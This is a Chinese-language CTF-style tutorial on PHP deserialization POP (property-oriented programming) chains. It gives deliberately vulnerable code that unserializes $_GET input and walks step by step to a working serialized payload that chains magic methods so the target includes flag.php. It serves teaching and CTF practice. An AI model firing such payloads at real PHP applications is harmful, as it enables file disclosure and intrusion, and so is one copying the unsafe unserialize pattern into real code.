一.概念
POP链
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量所以在PHP反序列化中有一种漏洞利用方法叫"面向属性编程"POP( Property Oriented Programming).
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的-种payload。
POC编写
POC(全称:Proofofconcept)中文译作概念验证。在安全界可以理解成洞验证程序。Poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
二.前置属性
魔术方法触发前提:魔术方法所在类(或对象)被调用
eg:
<?php
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);//这里反序列化$b并不会触发wakeup 因为$benben在类sec里面
?>
这里如果benben的值为反序列化类sec的结果
反序列化$b并不会触发wakeup
所以要触发wakeup() 必须要反序列化fast这个类
同理
要触发tostring这个魔术方法
触发时机:把对象被当成字符串调用
让source = sec这个类才可以
然后让benben = fast这个类将其反序列化的时候顺理成章调用wakeup
根据pop构造poc
将类里只留下成员变量 删除成员函数
<?php
class fast
{
public $source;
}
class sec
{
var $benben;
}
$fast = new fast();
$sec = new sec();
$fast -> source = $sec;
echo serialize($fast);
?>
payload :
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
三.例题
根据反推法 构造pop链
<?php
//flag is in flag.php
class Modifier
{
private $var;
public function append($value)
{//当 include($value) 被执行时,PHP会尝试包含指定路径的文件,并将其中的代码执行。如果成功包含文件,其中的变量和函数会在当前脚本中可用。
include($value);//这里的路径应该是flag.php $value = flag.php
echo $flag;
}
public function __invoke()//1.触发invoke()后append被执行 触发时机:把对象被当函数调用 这里就要找到某个函数把它赋值为一个对象 找到了下面的return $s()
{
$this->append($this->var);
}
}
class Show
{
public $source;
public $str;//3.让str=obj Test test类里面没有source
public function __toString()//触发条件: 把对象被当成字符串调用 这里找到echo $this->source;
{
return $this->str->source;//这里就会触发get方法 要想这段代码执行 需要tostring魔术方法触发
}
public function __wakeup()//触发条件:进行发序列化
{
echo $this->source;//4.让source =obj show 这里需要触发wakeup()
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)//触发方法:调用的成员属性不存在 这里找到show里的:return $this->str->source;
{
$s = $this->p; //2.$s来自于$p 只需要让$p为一个对象obj = Modifier 要想要这段代码执行 需要触发get
return $s();
}
}
if (isset($_GET['pop'])) {
unserialize($_GET['pop']);//5.反序列化show 触发wakeup
}
?>
从反推法推出步骤1~5
构造pop链只需从5~1 即可推出完整思路
根据分析 构造poc链
<?php
//flag is in flag.php
class Modifier
{
private $var = 'flag.php';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$mod = new Modifier();
$show = new Show();
$test = new Test();
$test -> p = $mod;
$show -> str = $test;
$show-> source = $show;
echo serialize($show);
?>
最后的payload:
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
这里的$var是私有属性
需要把空格改成%00